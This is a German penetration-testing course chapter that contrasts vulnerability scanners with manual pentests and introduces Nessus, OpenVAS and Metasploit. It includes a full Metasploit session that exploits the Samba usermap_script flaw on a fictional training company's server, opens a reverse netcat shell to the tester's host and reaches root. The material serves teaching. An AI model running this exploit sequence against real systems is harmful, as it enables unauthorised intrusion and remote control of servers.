Hacking VI: Vulnerability-Scanner und Penetration-Testing-Frameworks

Natürlich können und sollten wir viele Prozesse in einem Pentest automatisieren. So können wir beispielsweise Skripte schreiben, welche Webanwendungen in einem Netzwerk lokalisieren. Eine komplexere Abwandlung von diesem Beispiel sind sog. Vulnerability-Scanner, die automatisiert nach Schwachstellen in einem IT-System suchen. Die Identifikation von Schwachstellen ist nicht nur die Hauptaufgabe eines Vulnerability-Scanners, sondern auch die unsere als Penetration-Tester. Es stellt sich daher die Frage, ob ein Vulnerability-Scan mit einem Pentest verglichen werden kann – und wenn nicht, inwiefern sich die beiden voneinander unterscheiden.

Vulnerability-Scans müssen von einem Anwender konfiguriert und gestartet werden. Im Anschluss wird ein Vulnerability-Scanner automatisiert nach Schwachstellen suchen. Ein Pentest dagegen beinhaltet manuelle Prüfphasen, wodurch er verständlicherweise einen höheren Zeitaufwand erfordert. Ferner werden Vulnerability-Scanner immer nur bekannte Schwachstellen identifizieren können. Ein Pentester kann darüber hinaus nach neuen, „unbekannten“ Schwachstellen forschen oder für die Kompromittierung eines IT-Systems mehrere Zustände kreativ zusammenfügen. Zum Beispiel könnte ein Webserver gegeben sein, der auf die Dateien eines FTP Servers zugreift, womit ein Angreifer für eine Befehlsausführung via PHP nur einen FTP-Zugang benötigt.

In der Ausnutzung von Schwachstellen haben wir einen weiteren Unterschied zwischen Vulnerability-Scanner und Pentester gefunden. Pentester werden auf Wunsch ihres Auftraggebers Schwachstellen ausnutzen, falls dieser in Erfahrung bringen möchte, wie tief ein Angreifer in das Zielsystem hätte eindringen können. Im Vergleich dazu kann ein Vulnerability-Scanner schon bei der Schwachstellensuche False Positives anzeigen, weswegen jede automatisch identifizierte Schwachstelle manuell überprüft werden sollte.

Ein Pentest kann somit einen Vulnerability-Scan beinhalten, geht aber weit darüber hinaus. Hierbei gilt anzumerken, dass Tools und insbesondere Vulnerability-Scanner nur eingesetzt werden sollten, wenn deren Auswirkungen auf die zu untersuchende Umgebung abgeschätzt werden können. Andernfalls stehen wir ratlos da, wenn ein Auftraggeber aufgrund von plötzlich auftretenden Störungen im Produktivsystem auf uns zurückkommt und uns dazu befragt. Auch sollte uns bewusst sein, dass wir bei der Ausführung von fremden Skripten oder Tools selbst gehackt werden können. Es ist somit unabdingar, sich - falls möglich - den Source-Code anzusehen und Sicherheitsvorkehrungen zu treffen, wie z.B: die Verwendung von isolierten Systemen als Arbeitsplattform.

Zurzeit sind viele Vulnerability-Scanner auf dem Markt. Zwei der bekanntesten sind Nessus und OpenVas. Nessus von Tenable Network Security ist ein kommerzieller Scanner, welcher auf den Plattformen Windows, Linux, Unix und Mac OS X eingesetzt werden kann. OpenVas hingegen existiert nur für Linux, steht aber als Open-Source-Software zur freien Verfügung.

Neben den aktuellen Vulnerability-Scanner findet sich das Penetration-Testing-Framework von Rapid7 auf dem Markt: Metasploit. Im Prinzip stellt Metasploit eine Ansammlung von Exploits zur Verfügung, welche durch Optionen auf die Bedürfnisse eines Angreifers oder Testers zugeschnitten werden können. Für die Anwendung von Metasploit konzipierte Offensive Security einen eigenen, öffentlichen Kurs: Metasploit Unleashed (https://www.offensive-security.com/metasploit-unleashed/). Das nachfolgende Listing zeigt beispielhaft die Bedienung von Metasploit zur automatischen Ausnutzung einer Schwachstelle im Fileserver der Dubius Payment Ltd.:

~# msfconsole 
msf > use exploit/multi/samba/usermap_script 
msf exploit(usermap_script) > set RHOST 10.247.97.48 
RHOST => 10.247.97.48 
msf exploit(usermap_script) > set RPORT 445 
RPORT => 445 
msf exploit(usermap_script) > set PAYLOAD cmd/unix/reverse_netcat 
PAYLOAD => cmd/unix/reverse_netcat 
msf exploit(usermap_script) > set LHOST 10.20.1.14 
LHOST => 10.20.1.14 
msf exploit(usermap_script) > set LPORT 4444 
LPORT => 4444 
msf exploit(usermap_script) > exploit 
[*] Started reverse TCP handler on 0.0.0.0:4444 
[*] Command shell session 1 opened (10.20.1.14:4444 -> 10.247.97.48:54765) 
    at Wed Nov 28 13:39.22 +0100 2017 


ip addr show 
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 
    inet 127.0.0.1/8 scope host lo 
       valid_lft forever preferred_lft forever 
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever 
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 
    link/ether d6:15:2f:c4:9a:96 brd ff:ff:ff:ff:ff:ff 
    inet 10.247.97.48/24 brd 10.247.97.255 scope global eth0 
       valid_lft forever preferred_lft forever 
    inet6 fe80::d415:2fff:fec4:9a96/64 scope link 
       valid_lft forever preferred_lft forever 
hostname 
ftp01 
id 
uid=0(root) gid=0(root) groups=0(root)

Anmerkung: Das obige Szenario funktioniert nicht im Übungslabor.

Wenn wir die Aussagekraft von Vulnerability-Scans mit der Aussagekraft von Pentests vergleichen wollen, sollten wir uns über die False-Negative-Rate (FNR) im Klaren sein: Wie viele Schwachstellen werden von einem Vulnerability-Scanner nicht als solche identifiziert, obwohl die Lücke vorhanden ist? Du kannst dir selbst einen Eindruck davon verschaffen, indem du beispielsweise das DMZ-Netzwerk der Dubius Payment Ltd. mit Nessus (7-Tage-Testversion) oder OpvenVas scannst. Wie viele Schwachstellen, meinst du, wird ein Vulnerability-Scan dabei auflisten? 0, 10, 25 oder sogar mehr als 50?